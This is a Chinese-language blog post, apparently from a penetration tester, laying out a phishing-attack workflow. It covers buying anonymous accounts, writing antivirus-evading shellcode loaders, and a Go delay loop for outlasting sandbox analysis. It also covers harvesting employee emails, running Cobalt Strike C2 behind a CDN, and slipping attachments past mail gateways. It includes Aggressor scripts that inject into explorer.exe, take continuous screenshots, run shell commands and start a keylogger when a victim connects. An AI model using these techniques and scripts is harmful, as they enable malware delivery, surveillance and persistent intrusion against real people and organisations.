前言

窮則社工釣魚,達則0day炸場-微步在線,借用微步公眾號的一句話,沒有后端資源支持的情況下,社工釣魚必學技能,畢竟正面打不動,代碼審不動,0day又沒有是日常,下文講解自己對于社工釣魚的思路。

社交賬號

準備一些社交賬號,如微信、QQ、脈脈、BOSS直聘、獵聘,手機號可以購買阿里小號/和多號。其中微信可以用輔助注冊或者阿里小號/和多號注冊,如果你有匿名的渠道購買更好。

郵箱方面,一般常用QQ郵箱、163郵箱,這些目前還是有渠道可以購買的,沒錢或者擔心購買不可靠,跟身邊親朋好友借也行。

免殺馬

免殺的馬子是必備的,如果你是和我一樣的免殺弟弟,我推薦先學習shellcode loader的一些編寫思路


https://github.com/xf555er/ShellcodeLoader

基本加載器思路為shellcode申請內存(可讀可寫) -> 載入內存 -> 執行內存

申請內存:VirtualAlloc載入內存:memcpy執行內存:CreateThread WaitForSingleObject

針對這三個過程可以使用不同的函數來達到規避殺軟的效果,例如申請內存還可以用GlobalAlloc、CoTaskMemAlloc函數,執行內存可以用回調函數EnumFontsW、EnumUILanguages、EnumFontFamiliesA。

主要還是查文檔自己多動手,學完就算不會寫免殺馬,改改別人GitHub的馬子,過國內360火絨基本沒問題,然后就是研究下捆綁exe釋放正常文件,搞不懂直接給馬子彈個框文件已損壞,無法打開也行,不然經常出現對方問你這文件怎么打不開...

平時釣魚的馬子經常要改圖標加簽名之類的,推薦如下項目,在原項目360QVM_bypass的基礎上,進行修改增加簽名功能。


https://github.com/S9MF/my_script_tools/blob/main/360QVM_bypass-public/README.md

bypass沙箱

為了延長馬子存活時間,基本的沙箱對抗少不了,畢竟有防守人員的話,你投遞的木馬基本都得沙箱走一走,以微步沙箱為例,最簡單的循環打印。

使用sleep函數延遲執行容易被hook,修改為0,可以編寫循環打印來延遲程序時間,來繞過沙箱檢測,因為沙箱運行程序是有時間限制的。


//循環打印進行延時 運行1m2s后執行shellcode 沙箱分析時間沒那么久 可以繞過沙箱檢測func add() {    start := time.Now() //獲取當前時間    //1000000  1m2.793228s    sum, i := 0, 1    for i < 1000000 {        fmt.Println(i)        sum += i        i++    }    elapsed := time.Since(start)    fmt.Println("該函數執行完成耗時:", elapsed)}

將如上代碼放在shellcode執行前就行。

信息收集

思維導圖如下,每個人都有自己的思路,我就簡單講解幾個。

零零信安直接搜索公司名稱,得到一些郵箱地址

拿郵箱后綴+關鍵字去微信搜一搜,Google、百度等搜索引擎也可以搜,可以獲取業務招聘相關郵箱信息、手機號等。

如下組合:

@xxx.com 招聘 @xxx.com 校招 @xxx.com 投標 @xxx.com 聯系方式

C2搭建準備

常用的就cs,基本的套層CDN然后c2上線端口反代下,這里我會用到cs插件腳本


https://github.com/S9MF/my_script_tools/blob/main/CS%E6%8F%92%E4%BB%B6/README.md


常用的就是上線提醒、自動遷移進程


#自動遷移進程    sub callback{        $regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';        # 要遷移的進程        $listener = "ecloud";        # 監聽器名字,此處為ecloud,記得修改為自己的        if ($2 ismatch $regex){            $pid = matched()[1];            $inject_pid = $pid;            if (-is64 $1){                $arch = "x64";            }            else{                $arch = "x86";            }            binject($1, $pid, $listener, $arch);        }    }    if($inject_pid != beacon_info($1,"pid")){        bps($1, &callback);    }

還有上線自動截圖功能,就算目標掉了起碼還有張圖證明上線過


#只截一張圖    #binput($1, "screenshot");    #bscreenshot($1);
    #連續截圖    binput($1, "screenwatch");    bscreenwatch($1);

其他的上線自動執行shell命令、鍵盤記錄看自己需求吧


#執行自定義cmd命令    bshell($1, "ipconfig /all");    #鍵盤記錄    bkeylogger($1);

還有其他需求可以去翻翻文檔Aggressor Script


https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/agressor_script.htm

如果你有好用穩定的權限提升維持工具、如Bypass UAC、以及計劃任務、服務,可以考慮下寫個cs腳本上線自動bypass uac,加權限維持。

郵件網關/沙箱

默認對面有郵件網關/沙箱設備,針對郵件正文和附件要有一定處理或者技巧。

針對正文

  • 不帶知名公司名稱如脈脈、BOSS直聘不然容易被當成廣告郵件,不把附件解密密碼放在正文,容易被沙箱識別密碼分析附件。

針對附件

  • 文件名加密,解壓密碼寫在附件名上。

開釣

通過之前的準備,我們已經有了一些可供嘗試的信息,此時需要構建話術劇本然后去釣魚。

上線后的操作

參考L33h0m師傅的文章:分享我的CS釣魚流程導圖(權限維持+信息收集+后滲透階段)


https://www.t00ls.com/articles-69037.html

總結

本文講解了我對社工釣魚的基本流程,偏向于思路,師傅們有其他思路歡迎在評論區留言,學習交流。